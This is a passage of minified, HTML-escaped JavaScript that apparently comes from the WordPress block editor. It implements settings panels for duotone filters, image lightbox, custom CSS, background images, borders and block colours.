0,o(wt)},xt=!0,At=H!==&quot;caption&quot;;K.push({key:H,label:X,hasValue:Wt,resetValue:fo,isShownByDefault:s[H],indicators:xt&amp;&amp;At?[he,ve??le]:[xt?he:ve??le],tabs:[h&amp;&amp;xt&amp;&amp;{key:&quot;text&quot;,label:(0,Xt.__)(&quot;Text&quot;),inheritedValue:he,setValue:Do,userValue:ot},h&amp;&amp;At&amp;&amp;{key:&quot;background&quot;,label:(0,Xt.__)(&quot;Background&quot;),inheritedValue:le,setValue:rt,userValue:xe},p&amp;&amp;At&amp;&amp;{key:&quot;gradient&quot;,label:(0,Xt.__)(&quot;Gradient&quot;),inheritedValue:ve,setValue:ar,userValue:ze,isGradient:!0}].filter(Boolean)})}),(0,at.jsxs)(e,{resetAllFilter:J,value:t,onChange:o,panelId:i,label:a,children:[K.map(H=&gt;{let{key:X,...ne}=H;return(0,at.jsx)(bIe,{...ne,colorGradientControlSettings:{colors:u,disableCustomColors:!f,gradients:d,disableCustomGradients:!m},panelId:i},X)}),c]})}var mt=l(A(),1),Sc=l(N(),1),Kb=l(R(),1);var so=l(w(),1),$P=[];function Xse(e,{presetSetting:t,defaultSetting:o}){let r=!e?.color?.[o],n=e?.color?.[t]?.custom||$P,i=e?.color?.[t]?.theme||$P,s=e?.color?.[t]?.default||$P;return(0,Kb.useMemo)(()=&gt;[...n,...i,...r?$P:s],[r,n,i,s])}function Qse(e){return Jse(e)}function Jse(e){return e.color.customDuotone||e.color.defaultDuotone||e.color.duotone.length&gt;0}function kIe({resetAllFilter:e,onChange:t,value:o,panelId:r,children:n}){let i=Ro(),s=()=&gt;{let a=e(o);t(a)};return(0,so.jsx)(mt.__experimentalToolsPanel,{label:(0,Sc._x)(&quot;Filters&quot;,&quot;Name for applying graphical effects&quot;),resetAll:s,panelId:r,dropdownMenuProps:i,children:n})}var vIe={duotone:!0},yIe={placement:&quot;left-start&quot;,offset:36,shift:!0,className:&quot;block-editor-duotone-control__popover&quot;,headerTitle:(0,Sc.__)(&quot;Duotone&quot;)},SIe=({indicator:e,label:t})=&gt;(0,so.jsxs)(mt.__experimentalHStack,{justify:&quot;flex-start&quot;,children:[(0,so.jsx)(mt.__experimentalZStack,{isLayered:!1,offset:-8,children:(0,so.jsx)(mt.Flex,{expanded:!1,children:e===&quot;unset&quot;||!e?(0,so.jsx)(mt.ColorIndicator,{className:&quot;block-editor-duotone-control__unset-indicator&quot;}):(0,so.jsx)(mt.DuotoneSwatch,{values:e})})}),(0,so.jsx)(mt.FlexItem,{title:t,children:t})]}),_Ie=(e,t)=&gt;function({onToggle:r,isOpen:n}){let i=(0,Kb.useRef)(void 0),s={onClick:r,className:V(&quot;block-editor-global-styles-filters-panel__dropdown-toggle&quot;,{&quot;is-open&quot;:n}),&quot;aria-expanded&quot;:n,ref:i},a={onClick:()=&gt;{n&amp;&amp;r(),t(),i.current?.focus()},className:&quot;block-editor-panel-duotone-settings__reset&quot;,label:(0,Sc.__)(&quot;Reset&quot;)};return(0,so.jsxs)(so.Fragment,{children:[(0,so.jsx)(mt.Button,{__next40pxDefaultSize:!0,...s,children:(0,so.jsx)(SIe,{indicator:e,label:(0,Sc.__)(&quot;Duotone&quot;)})}),e&amp;&amp;(0,so.jsx)(mt.Button,{size:&quot;small&quot;,icon:Dr,...a})]})};function KP({as:e=kIe,value:t,onChange:o,inheritedValue:r=t,settings:n,panelId:i,defaultControls:s=vIe}){let a=b=&gt;wn({settings:n},&quot;&quot;,b),c=Jse(n),u=Xse(n,{presetSetting:&quot;duotone&quot;,defaultSetting:&quot;defaultDuotone&quot;}),d=Xse(n,{presetSetting:&quot;palette&quot;,defaultSetting:&quot;defaultPalette&quot;}),f=a(r?.filter?.duotone),m=b=&gt;{let v=u.find(({colors:y})=&gt;y===b),k=v?`var:preset|duotone|${v.slug}`:b;o(pe(t,[&quot;filter&quot;,&quot;duotone&quot;],k))},h=()=&gt;!!t?.filter?.duotone,p=()=&gt;m(void 0),g=(0,Kb.useCallback)(b=&gt;({...b,filter:{...b.filter,duotone:void 0}}),[]);return(0,so.jsx)(e,{resetAllFilter:g,value:t,onChange:o,panelId:i,children:c&amp;&amp;(0,so.jsx)(mt.__experimentalToolsPanelItem,{label:(0,Sc.__)(&quot;Duotone&quot;),hasValue:h,onDeselect:p,isShownByDefault:s.duotone,panelId:i,children:(0,so.jsx)(mt.Dropdown,{popoverProps:yIe,className:&quot;block-editor-global-styles-filters-panel__dropdown&quot;,renderToggle:_Ie(f,p),renderContent:()=&gt;(0,so.jsx)(mt.__experimentalDropdownContentWrapper,{paddingSize:&quot;small&quot;,children:(0,so.jsxs)(mt.MenuGroup,{label:(0,Sc.__)(&quot;Duotone&quot;),children:[(0,so.jsx)(&quot;p&quot;,{children:(0,Sc.__)(&quot;Create a two-tone color effect without losing your original image.&quot;)}),(0,so.jsx)(mt.DuotonePicker,{colorPalette:d,duotonePalette:u,disableCustomColors:!0,disableCustomDuotone:!0,value:f,onChange:m})]})})})})})}var Yb=l(A(),1),h_=l(N(),1);var sp=l(w(),1);function eae(e,t,o){return e===&quot;core/image&quot;&amp;&amp;o?.lightbox?.allowEditing||!!t?.lightbox}function tae({onChange:e,value:t,inheritedValue:o,panelId:r}){let n=Ro(),i=()=&gt;{e(void 0)},s=c=&gt;{e({enabled:c})},a=!1;return o?.lightbox?.enabled&amp;&amp;(a=o.lightbox.enabled),(0,sp.jsx)(sp.Fragment,{children:(0,sp.jsx)(Yb.__experimentalToolsPanel,{label:(0,h_._x)(&quot;Settings&quot;,&quot;Image settings&quot;),resetAll:i,panelId:r,dropdownMenuProps:n,children:(0,sp.jsx)(Yb.__experimentalToolsPanelItem,{hasValue:()=&gt;!!t?.lightbox,label:(0,h_.__)(&quot;Enlarge on click&quot;),onDeselect:i,isShownByDefault:!0,panelId:r,children:(0,sp.jsx)(Yb.ToggleControl,{label:(0,h_.__)(&quot;Enlarge on click&quot;),checked:a,onChange:s})})})})}var qb=l(A(),1),oae=l(R(),1),YP=l(N(),1);var g_=l(w(),1);function qP(e){return!(typeof e==&quot;string&quot;&amp;&amp;/&lt;\/?\w/.test(e))}function ZP({value:e,onChange:t,inheritedValue:o=e,help:r}){let[n,i]=(0,oae.useState)(null),s=o?.css;function a(u){if(t({...e,css:u}),!qP(u)){i((0,YP.__)(&quot;The custom CSS is invalid. Do not use &lt;&gt; markup.&quot;));return}n&amp;&amp;i(null)}function c(u){let d=u?.target?.value;if(!d||!qP(d))return;let[f]=Uh([{css:d}],&quot;.for-validation-only&quot;);i(f===null?(0,YP.__)(&quot;There is an error with your CSS structure.&quot;):null)}return(0,g_.jsxs)(qb.__experimentalVStack,{spacing:3,children:[n&amp;&amp;(0,g_.jsx)(qb.Notice,{status:&quot;error&quot;,onRemove:()=&gt;i(null),children:n}),(0,g_.jsx)(qb.TextareaControl,{label:(0,YP.__)(&quot;Additional CSS&quot;),value:s,onChange:u=&gt;a(u),onBlur:c,className:&quot;block-editor-global-styles-advanced-panel__custom-css-input&quot;,spellCheck:!1,help:r})]})}var e2=l(A(),1),t2=l(R(),1),GF=l(N(),1);var Be=l(A(),1);var Ot=l(N(),1),nae=l(Un(),1),HF=l(dn(),1),_c=l(R(),1),b_=l(F(),1),iae=l(Fe(),1),sae=l(F5(),1);var Te=l(w(),1),XP=&quot;image&quot;,xIe={placement:&quot;left-start&quot;,offset:36,shift:!0,className:&quot;block-editor-global-styles-background-panel__popover&quot;},JP=()=&gt;{},QP=e=&gt;{window.requestAnimationFrame(()=&gt;{let[t]=iae.focus.tabbable.find(e?.current);t&amp;&amp;t.focus()})};function wIe(e){return e===&quot;cover&quot;||e===void 0?(0,Ot.__)(&quot;Image covers the space evenly.&quot;):e===&quot;contain&quot;?(0,Ot.__)(&quot;Image is contained without distortion.&quot;):(0,Ot.__)(&quot;Image has a fixed width.&quot;)}var CIe=e=&gt;{if(!e||isNaN(e.x)&amp;&amp;isNaN(e.y))return;let t=isNaN(e.x)?.5:e.x,o=isNaN(e.y)?.5:e.y;return`${t*100}% ${o*100}%`},BIe=e=&gt;{if(!e)return{x:void 0,y:void 0};let[t,o]=e.split(&quot; &quot;).map(r=&gt;parseFloat(r)/100);return t=isNaN(t)?void 0:t,o=isNaN(o)?t:o,{x:t,y:o}};function aae({as:e=&quot;span&quot;,imgUrl:t,toggleProps:o={},filename:r,label:n,onToggleCallback:i=JP}){let{isOpen:s,...a}=o;(0,_c.useEffect)(()=&gt;{typeof s&lt;&quot;u&quot;&amp;&amp;i(s)},[s,i]);let c=()=&gt;(0,Te.jsxs)(Be.__experimentalHStack,{className:&quot;block-editor-global-styles-background-panel__inspector-preview-inner&quot;,children:[(0,Te.jsx)(&quot;span&quot;,{className:&quot;block-editor-global-styles-background-panel__inspector-image-indicator&quot;,style:{backgroundImage:t?`url(${t})`:void 0}}),(0,Te.jsxs)(Be.FlexBlock,{children:[(0,Te.jsx)(Be.__experimentalTruncate,{numberOfLines:1,className:&quot;block-editor-global-styles-background-panel__inspector-media-replace-title&quot;,children:n}),(0,Te.jsx)(Be.VisuallyHidden,{as:&quot;span&quot;,children:t?(0,Ot.sprintf)((0,Ot.__)(&quot;Background image: %s&quot;),r||n):(0,Ot.__)(&quot;No background image selected&quot;)})]})]});return e===&quot;button&quot;?(0,Te.jsx)(Be.Button,{__next40pxDefaultSize:!0,...a,children:c()}):c()}function EIe({label:e,filename:t,url:o,children:r,onToggle:n=JP,hasImageValue:i,onReset:s,containerRef:a}){if(!i)return;let c=e||(0,HF.getFilename)(o)||(0,Ot.__)(&quot;Image&quot;);return(0,Te.jsx)(Be.Dropdown,{popoverProps:xIe,renderToggle:({onToggle:u,isOpen:d})=&gt;{let f={onClick:u,className:&quot;block-editor-global-styles-background-panel__dropdown-toggle&quot;,&quot;aria-expanded&quot;:d,&quot;aria-label&quot;:(0,Ot.__)(&quot;Background size, position and repeat options.&quot;),isOpen:d};return(0,Te.jsxs)(Te.Fragment,{children:[(0,Te.jsx)(aae,{imgUrl:o,filename:t,label:c,toggleProps:f,as:&quot;button&quot;,onToggleCallback:n}),s&amp;&amp;(0,Te.jsx)(Be.Button,{__next40pxDefaultSize:!0,label:(0,Ot.__)(&quot;Reset&quot;),className:&quot;block-editor-global-styles-background-panel__reset&quot;,size:&quot;small&quot;,icon:Dr,onClick:()=&gt;{s(),d&amp;&amp;u(),QP(a)}})]})},renderContent:()=&gt;(0,Te.jsx)(Be.__experimentalDropdownContentWrapper,{className:&quot;block-editor-global-styles-background-panel__dropdown-content-wrapper&quot;,paddingSize:&quot;medium&quot;,children:r})})}function TIe(){return(0,Te.jsx)(Be.Placeholder,{className:&quot;block-editor-global-styles-background-panel__loading&quot;,children:(0,Te.jsx)(Be.Spinner,{})})}function rae({onChange:e,style:t,inheritedValue:o,onRemoveImage:r=JP,onResetImage:n=JP,displayInPanel:i,defaultValues:s,containerRef:a}){let[c,u]=(0,_c.useState)(!1),{getSettings:d}=(0,b_.useSelect)(_),{id:f,title:m,url:h}=t?.background?.backgroundImage||{...o?.background?.backgroundImage},{createErrorNotice:p}=(0,b_.useDispatch)(nae.store),g=B=&gt;{p(B,{type:&quot;snackbar&quot;}),u(!1)},b=()=&gt;e(pe(t,[&quot;background&quot;,&quot;backgroundImage&quot;],void 0)),v=B=&gt;{if(!B||!B.url){b(),u(!1);return}if((0,sae.isBlobURL)(B.url)){u(!0);return}if(B.media_type&amp;&amp;B.media_type!==XP||!B.media_type&amp;&amp;B.type&amp;&amp;B.type!==XP){g((0,Ot.__)(&quot;Only images can be used as a background image.&quot;));return}let I=t?.background?.backgroundSize||s?.backgroundSize,P=t?.background?.backgroundPosition;e(pe(t,[&quot;background&quot;],{...t?.background,backgroundImage:{url:B.url,id:B.id,source:&quot;file&quot;,title:B.title||void 0},backgroundPosition:!P&amp;&amp;(I===&quot;auto&quot;||!I)?&quot;50% 0&quot;:P,backgroundSize:I})),u(!1),QP(a)},k=B=&gt;{d().mediaUpload({allowedTypes:[XP],filesList:B,onFileChange([I]){v(I)},onError:g,multiple:!1})},y=ap(t),S=()=&gt;e(pe(t,[&quot;background&quot;],{backgroundImage:&quot;none&quot;})),x=!y&amp;&amp;ap(o),C=m||(0,HF.getFilename)(h)||(0,Ot.__)(&quot;Image&quot;);return(0,Te.jsxs)(&quot;div&quot;,{className:&quot;block-editor-global-styles-background-panel__image-tools-panel-item&quot;,children:[c&amp;&amp;(0,Te.jsx)(TIe,{}),(0,Te.jsx)(_b,{mediaId:f,mediaURL:h,allowedTypes:[XP],accept:&quot;image/*&quot;,onSelect:v,popoverProps:{className:V({&quot;block-editor-global-styles-background-panel__media-replace-popover&quot;:i})},name:(0,Te.jsx)(aae,{imgUrl:h,filename:m,label:C}),renderToggle:B=&gt;(0,Te.jsx)(Be.Button,{...B,__next40pxDefaultSize:!0}),onError:g,onReset:()=&gt;{QP(a),n()},children:x&amp;&amp;(0,Te.jsx)(Be.MenuItem,{onClick:()=&gt;{QP(a),S(),r()},children:(0,Ot.__)(&quot;Remove&quot;)})}),(0,Te.jsx)(Be.DropZone,{onFilesDrop:k,label:(0,Ot.__)(&quot;Drop to upload&quot;)})]})}function IIe({onChange:e,style:t,inheritedValue:o,defaultValues:r}){let n=t?.background?.backgroundSize||o?.background?.backgroundSize,i=t?.background?.backgroundRepeat||o?.background?.backgroundRepeat,s=t?.background?.backgroundImage?.url||o?.background?.backgroundImage?.url,a=t?.background?.backgroundImage?.id,c=t?.background?.backgroundPosition||o?.background?.backgroundPosition,u=t?.background?.backgroundAttachment||o?.background?.backgroundAttachment,d=!n&amp;&amp;a?r?.backgroundSize:n||&quot;auto&quot;;d=[&quot;cover&quot;,&quot;contain&quot;,&quot;auto&quot;].includes(d)?d:&quot;auto&quot;;let f=!(i===&quot;no-repeat&quot;||d===&quot;cover&quot;&amp;&amp;i===void 0),m=v=&gt;{let k=i,y=c;v===&quot;contain&quot;&amp;&amp;(k=&quot;no-repeat&quot;,y=void 0),v===&quot;cover&quot;&amp;&amp;(k=void 0,y=void 0),(d===&quot;cover&quot;||d===&quot;contain&quot;)&amp;&amp;v===&quot;auto&quot;&amp;&amp;(k=void 0,t?.background?.backgroundImage?.id&amp;&amp;(y=&quot;50% 0&quot;)),!v&amp;&amp;d===&quot;auto&quot;&amp;&amp;(v=&quot;auto&quot;),e(pe(t,[&quot;background&quot;],{...t?.background,backgroundPosition:y,backgroundRepeat:k,backgroundSize:v}))},h=v=&gt;{e(pe(t,[&quot;background&quot;,&quot;backgroundPosition&quot;],CIe(v)))},p=()=&gt;e(pe(t,[&quot;background&quot;,&quot;backgroundRepeat&quot;],f===!0?&quot;no-repeat&quot;:&quot;repeat&quot;)),g=()=&gt;e(pe(t,[&quot;background&quot;,&quot;backgroundAttachment&quot;],u===&quot;fixed&quot;?&quot;scroll&quot;:&quot;fixed&quot;)),b=!c&amp;&amp;a&amp;&amp;n===&quot;contain&quot;?r?.backgroundPosition:c;return(0,Te.jsxs)(Be.__experimentalVStack,{spacing:3,className:&quot;single-column&quot;,children:[(0,Te.jsx)(Be.FocalPointPicker,{label:(0,Ot.__)(&quot;Focal point&quot;),url:s,value:BIe(b),onChange:h}),(0,Te.jsx)(Be.ToggleControl,{label:(0,Ot.__)(&quot;Fixed background&quot;),checked:u===&quot;fixed&quot;,onChange:g}),(0,Te.jsxs)(Be.__experimentalToggleGroupControl,{size:&quot;__unstable-large&quot;,label:(0,Ot.__)(&quot;Size&quot;),value:d,onChange:m,isBlock:!0,help:wIe(n||r?.backgroundSize),children:[(0,Te.jsx)(Be.__experimentalToggleGroupControlOption,{value:&quot;cover&quot;,label:(0,Ot._x)(&quot;Cover&quot;,&quot;Size option for background image control&quot;)},&quot;cover&quot;),(0,Te.jsx)(Be.__experimentalToggleGroupControlOption,{value:&quot;contain&quot;,label:(0,Ot._x)(&quot;Contain&quot;,&quot;Size option for background image control&quot;)},&quot;contain&quot;),(0,Te.jsx)(Be.__experimentalToggleGroupControlOption,{value:&quot;auto&quot;,label:(0,Ot._x)(&quot;Tile&quot;,&quot;Size option for background image control&quot;)},&quot;tile&quot;)]}),(0,Te.jsxs)(Be.__experimentalHStack,{justify:&quot;flex-start&quot;,spacing:2,as:&quot;span&quot;,children:[(0,Te.jsx)(Be.__experimentalUnitControl,{&quot;aria-label&quot;:(0,Ot.__)(&quot;Background image width&quot;),onChange:m,value:n,size:&quot;__unstable-large&quot;,__unstableInputWidth:&quot;100px&quot;,min:0,placeholder:(0,Ot.__)(&quot;Auto&quot;),disabled:d!==&quot;auto&quot;||d===void 0}),(0,Te.jsx)(Be.ToggleControl,{label:(0,Ot.__)(&quot;Repeat&quot;),checked:f,onChange:p,disabled:d===&quot;cover&quot;})]})]})}function lae({value:e,onChange:t,inheritedValue:o=e,settings:r,defaultValues:n={}}){let{globalStyles:i,_links:s}=(0,b_.useSelect)(v=&gt;{let{getSettings:k}=v(_),y=k();return{globalStyles:y[xi],_links:y[y0]}},[]),a=(0,_c.useMemo)(()=&gt;{let v={background:{}};return o?.background?(Object.entries(o?.background).forEach(([k,y])=&gt;{v.background[k]=Pg(y,{styles:i,_links:s})}),v):o},[i,s,o]),c=()=&gt;t(pe(e,[&quot;background&quot;],{})),{title:u,url:d}=e?.background?.backgroundImage||{...a?.background?.backgroundImage},f=ap(e)||ap(a),m=e?.background?.backgroundImage||o?.background?.backgroundImage,h=f&amp;&amp;m!==&quot;none&quot;&amp;&amp;(r?.background?.backgroundSize||r?.background?.backgroundPosition||r?.background?.backgroundRepeat),[p,g]=(0,_c.useState)(!1),b=(0,_c.useRef)();return(0,Te.jsx)(&quot;div&quot;,{ref:b,className:V(&quot;block-editor-global-styles-background-panel__inspector-media-replace-container&quot;,{&quot;is-open&quot;:p}),children:h?(0,Te.jsx)(EIe,{label:u,filename:u,url:d,onToggle:g,hasImageValue:f,onReset:c,containerRef:b,children:(0,Te.jsxs)(Be.__experimentalVStack,{spacing:3,className:&quot;single-column&quot;,children:[(0,Te.jsx)(rae,{onChange:t,style:e,inheritedValue:a,displayInPanel:!0,onResetImage:()=&gt;{g(!1),c()},onRemoveImage:()=&gt;g(!1),defaultValues:n,containerRef:b}),(0,Te.jsx)(IIe,{onChange:t,style:e,defaultValues:n,inheritedValue:a})]})}):(0,Te.jsx)(rae,{onChange:t,style:e,inheritedValue:a,defaultValues:n,onResetImage:()=&gt;{g(!1),c()},onRemoveImage:()=&gt;g(!1),containerRef:b})})}var k_=l(w(),1),PIe={backgroundImage:!0};function v_(e){return t2.Platform.OS===&quot;web&quot;&amp;&amp;e?.background?.backgroundImage}function ap(e){return!!e?.background?.backgroundImage?.id||typeof e?.background?.backgroundImage==&quot;string&quot;||!!e?.background?.backgroundImage?.url}function RIe({resetAllFilter:e,onChange:t,value:o,panelId:r,children:n,headerLabel:i}){let s=Ro();return(0,k_.jsx)(e2.__experimentalToolsPanel,{label:i,resetAll:()=&gt;{let c=e(o);t(c)},panelId:r,dropdownMenuProps:s,children:n})}function o2({as:e=RIe,value:t,onChange:o,inheritedValue:r,settings:n,panelId:i,defaultControls:s=PIe,defaultValues:a={},headerLabel:c=(0,GF.__)(&quot;Background&quot;)}){let u=v_(n),d=()=&gt;o(pe(t,[&quot;background&quot;],{})),f=(0,t2.useCallback)(m=&gt;({...m,background:{}}),[]);return(0,k_.jsx)(e,{resetAllFilter:f,value:t,onChange:o,panelId:i,headerLabel:c,children:u&amp;&amp;(0,k_.jsx)(e2.__experimentalToolsPanelItem,{hasValue:()=&gt;!!t?.background,label:(0,GF.__)(&quot;Image&quot;),onDeselect:d,isShownByDefault:s.backgroundImage,panelId:i,children:(0,k_.jsx)(lae,{value:t,onChange:o,settings:n,inheritedValue:r,defaultControls:s,defaultValues:a})})})}var n2=l(N(),1),KF=l(w(),1),cp=&quot;__experimentalBorder&quot;,S_=&quot;shadow&quot;,cae=(e,t,o)=&gt;{let r;return e.some(n=&gt;n.colors.some(i=&gt;i[t]===o?(r=i,!0):!1)),r},lp=({colors:e,namedColor:t,customColor:o})=&gt;{if(t){let n=cae(e,&quot;slug&quot;,t);if(n)return n}if(!o)return{color:void 0};let r=cae(e,&quot;color&quot;,o);return r||{color:o}};function r2(e){let t=/var:preset\|color\|(.+)/.exec(e);return t&amp;&amp;t[1]?t[1]:null}function fae(e){if((0,$F.__experimentalHasSplitBorders)(e?.border))return{style:e,borderColor:void 0};let t=e?.border?.color,o=t?.startsWith(&quot;var:preset|color|&quot;)?t.substring(17):void 0,r={...e};return r.border={...r.border,color:o?void 0:t},{style:Me(r),borderColor:o}}function mae(e){return(0,$F.__experimentalHasSplitBorders)(e.style?.border)?e.style:{...e.style,border:{...e.style?.border,color:e.borderColor?&quot;var:preset|color|&quot;+e.borderColor:e.style?.border?.color}}}function OIe({label:e,children:t,resetAllFilter:o}){let r=(0,Zb.useCallback)(n=&gt;{let i=mae(n),s=o(i);return{...n,...fae(s)}},[o]);return(0,KF.jsx)(fe,{group:&quot;border&quot;,resetAllFilter:r,label:e,children:t})}function pae({clientId:e,name:t,setAttributes:o,settings:r}){let n=zP(r),{style:i,borderColor:s}=(0,dae.useSelect)(d=&gt;{if(!n)return{};let{style:f,borderColor:m}=d(_).getBlockAttributes(e)||{};return{style:f,borderColor:m}},[e,n]),a=(0,Zb.useMemo)(()=&gt;mae({style:i,borderColor:s}),[i,s]),c=d=&gt;{o(fae(d))};if(!n)return null;let u={...(0,y_.getBlockSupport)(t,[cp,&quot;__experimentalDefaultControls&quot;]),...(0,y_.getBlockSupport)(t,[S_,&quot;__experimentalDefaultControls&quot;])};return(0,KF.jsx)(jP,{as:OIe,panelId:e,settings:r,value:a,onChange:c,defaultControls:u})}function i2(e,t=&quot;any&quot;){if(Zb.Platform.OS!==&quot;web&quot;)return!1;let o=(0,y_.getBlockSupport)(e,cp);return o===!0?!0:t===&quot;any&quot;?!!(o?.color||o?.radius||o?.width||o?.style):!!o?.[t]}function $b({blockName:e,hasBorderControl:t,hasShadowControl:o}={}){let r=is(e),n=p_(r);return!t&amp;&amp;!o&amp;&amp;e&amp;&amp;(t=n?.hasBorderColor||n?.hasBorderStyle||n?.hasBorderWidth||n?.hasBorderRadius,o=n?.hasShadow),t&amp;&amp;o?(0,n2.__)(&quot;Border &amp; Shadow&quot;):o?(0,n2.__)(&quot;Shadow&quot;):(0,n2.__)(&quot;Border&quot;)}function AIe(e){return!i2(e,&quot;color&quot;)||e.attributes.borderColor?e:{...e,attributes:{...e.attributes,borderColor:{type:&quot;string&quot;}}}}function hae(e,t,o){if(!i2(t,&quot;color&quot;)||Ue(t,cp,&quot;color&quot;))return e;let r=YF(o),n=V(e.className,r);return e.className=n||void 0,e}function YF(e){let{borderColor:t,style:o}=e,r=_i(&quot;border-color&quot;,t);return V({&quot;has-border-color&quot;:t||o?.border?.color,[r]:!!r})}function LIe({name:e,borderColor:t,style:o}){let{colors:r}=wd();if(!i2(e,&quot;color&quot;)||Ue(e,cp,&quot;color&quot;))return{};let{color:n}=lp({colors:r,namedColor:t}),{color:i}=lp({colors:r,namedColor:r2(o?.border?.top?.color)}),{color:s}=lp({colors:r,namedColor:r2(o?.border?.right?.color)}),{color:a}=lp({colors:r,namedColor:r2(o?.border?.bottom?.color)}),{color:c}=lp({colors:r,namedColor:r2(o?.border?.left?.color)});return hae({style:Me({borderTopColor:i||n,borderRightColor:s||n,borderBottomColor:a||n,borderLeftColor:c||n})||{}},e,{borderColor:t,style:o})}var qF={useBlockProps:LIe,addSaveProps:hae,attributeKeys:[&quot;borderColor&quot;,&quot;style&quot;],hasSupport(e){return i2(e,&quot;color&quot;)}};(0,uae.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/border/addAttributes&quot;,AIe);var JF=l(ut(),1),xc=l($(),1),Vd=l(R(),1),Bae=l(F(),1);var XF=l($(),1),gae=l(F(),1),bae=l(R(),1);var QF=l(w(),1),up=&quot;background&quot;,ZF={backgroundSize:&quot;cover&quot;,backgroundPosition:&quot;50% 50%&quot;};function s2(e,t=&quot;any&quot;){let o=(0,XF.getBlockSupport)(e,up);return o===!0?!0:t===&quot;any&quot;?!!o?.backgroundImage||!!o?.backgroundSize||!!o?.backgroundRepeat:!!o?.[t]}function a2(e){if(!e||!e?.backgroundImage?.url)return;let t;return e?.backgroundSize||(t={backgroundSize:ZF.backgroundSize}),e?.backgroundSize===&quot;contain&quot;&amp;&amp;!e?.backgroundPosition&amp;&amp;(t={backgroundPosition:ZF.backgroundPosition}),t}function NIe({name:e,style:t}){if(!s2(e)||!t?.background?.backgroundImage)return;let o=a2(t?.background);if(o)return{style:{...o}}}function kae(e){return ap(e)?&quot;has-background&quot;:&quot;&quot;}function MIe({children:e}){let t=(0,bae.useCallback)(o=&gt;({...o,style:{...o.style,background:void 0}}),[]);return(0,QF.jsx)(fe,{group:&quot;background&quot;,resetAllFilter:t,children:e})}function vae({clientId:e,name:t,setAttributes:o,settings:r}){let{style:n,inheritedValue:i}=(0,gae.useSelect)(u=&gt;{let{getBlockAttributes:d,getSettings:f}=u(_),m=f();return{style:d(e)?.style,inheritedValue:m[xi]?.blocks?.[t]}},[e,t]);if(!v_(r)||!s2(t,&quot;backgroundImage&quot;))return null;let s=u=&gt;{o({style:Me(u)})},a={...r,background:{...r.background,backgroundSize:r?.background?.backgroundSize&amp;&amp;s2(t,&quot;backgroundSize&quot;)}},c=(0,XF.getBlockSupport)(t,[up,&quot;defaultControls&quot;]);return(0,QF.jsx)(o2,{inheritedValue:i,as:MIe,panelId:e,defaultValues:ZF,settings:a,onChange:s,defaultControls:c,value:n})}var yae={useBlockProps:NIe,attributeKeys:[&quot;style&quot;],hasSupport:s2};var __=l(R(),1),_ae=l(F(),1),xae=l($(),1);var wae=l(w(),1);function l2(e,t){return e.ownerDocument.defaultView.getComputedStyle(e).getPropertyValue(t)}function Sae(e,t){if(!e||!t)return{};let o=oi(t,&quot;color.text&quot;,{fallback:!0}),r=oi(t,&quot;color.background&quot;,{fallback:!0}),n=e.querySelector(o)||e,i=e.querySelector(r)||e,s=e.querySelector(&quot;a&quot;),a=l2(n,&quot;color&quot;),c=s&amp;&amp;s.textContent?l2(s,&quot;color&quot;):void 0,u=i,d=l2(u,&quot;background-color&quot;);for(;d===&quot;rgba(0, 0, 0, 0)&quot;&amp;&amp;u.parentNode&amp;&amp;u.parentNode.nodeType===u.parentNode.ELEMENT_NODE;)u=u.parentNode,d=l2(u,&quot;background-color&quot;);return{textColor:a,backgroundColor:d,linkColor:c}}function DIe(e,t){return Object.keys(t).some(r=&gt;e[r]!==t[r])?t:e}function Cae({clientId:e,name:t}){let o=Xe(e),[r,n]=(0,__.useReducer)(DIe,{}),i=(0,_ae.useSelect)(s=&gt;t?s(xae.store).getBlockType(t):void 0,[t]);return(0,__.useLayoutEffect)(()=&gt;{!o||!i||window.requestAnimationFrame(()=&gt;window.requestAnimationFrame(()=&gt;n(Sae(o,i))))}),(0,__.useLayoutEffect)(()=&gt;{if(!o||!i)return;let s=new window.MutationObserver(()=&gt;{n(Sae(o,i))});return s.observe(o,{attributes:!0,attributeFilter:[&quot;class&quot;,&quot;style&quot;]}),()=&gt;{s.disconnect()}},[o,i]),(0,wae.jsx)(QT,{backgroundColor:r.backgroundColor,textColor:r.textColor,linkColor:r.linkColor,enableAlphaChecker:!0})}var c2=l(w(),1),ir=&quot;color&quot;,u2=e=&gt;{let t=(0,xc.getBlockSupport)(e,ir);return t&amp;&amp;(t.link===!0||t.gradient===!0||t.background!==!1||t.text!==!1)},VIe=e=&gt;{if(Vd.Platform.OS!==&quot;web&quot;)return!1;let t=(0,xc.getBlockSupport)(e,ir);return t!==null&amp;&amp;typeof t==&quot;object&quot;&amp;&amp;!!t.link},e4=e=&gt;{let t=(0,xc.getBlockSupport)(e,ir);return t!==null&amp;&amp;typeof t==&quot;object&quot;&amp;&amp;!!t.gradients},FIe=e=&gt;{let t=(0,xc.getBlockSupport)(e,ir);return t&amp;&amp;t.background!==!1},zIe=e=&gt;{let t=(0,xc.getBlockSupport)(e,ir);return t&amp;&amp;t.text!==!1};function jIe(e){return u2(e)&amp;&amp;(e.attributes.backgroundColor||Object.assign(e.attributes,{backgroundColor:{type:&quot;string&quot;}}),e.attributes.textColor||Object.assign(e.attributes,{textColor:{type:&quot;string&quot;}}),e4(e)&amp;&amp;!e.attributes.gradient&amp;&amp;Object.assign(e.attributes,{gradient:{type:&quot;string&quot;}})),e}function Eae(e,t,o){if(!u2(t)||Ue(t,ir))return e;let r=e4(t),{backgroundColor:n,textColor:i,gradient:s,style:a}=o,c=g=&gt;!Ue(t,ir,g),u=c(&quot;text&quot;)?_i(&quot;color&quot;,i):void 0,d=c(&quot;gradients&quot;)?th(s):void 0,f=c(&quot;background&quot;)?_i(&quot;background-color&quot;,n):void 0,m=c(&quot;background&quot;)||c(&quot;gradients&quot;),h=n||a?.color?.background||r&amp;&amp;(s||a?.color?.gradient),p=V(e.className,u,d,{[f]:(!r||!a?.color?.gradient)&amp;&amp;!!f,&quot;has-text-color&quot;:c(&quot;text&quot;)&amp;&amp;(i||a?.color?.text),&quot;has-background&quot;:m&amp;&amp;h,&quot;has-link-color&quot;:c(&quot;link&quot;)&amp;&amp;a?.elements?.link?.color});return e.className=p||void 0,e}function Tae(e){let t=e?.color?.text,o=t?.startsWith(&quot;var:preset|color|&quot;)?t.substring(17):void 0,r=e?.color?.background,n=r?.startsWith(&quot;var:preset|color|&quot;)?r.substring(17):void 0,i=e?.color?.gradient,s=i?.startsWith(&quot;var:preset|gradient|&quot;)?i.substring(20):void 0,a={...e};return a.color={...a.color,text:o?void 0:t,background:n?void 0:r,gradient:s?void 0:i},{style:Me(a),textColor:o,backgroundColor:n,gradient:s}}function 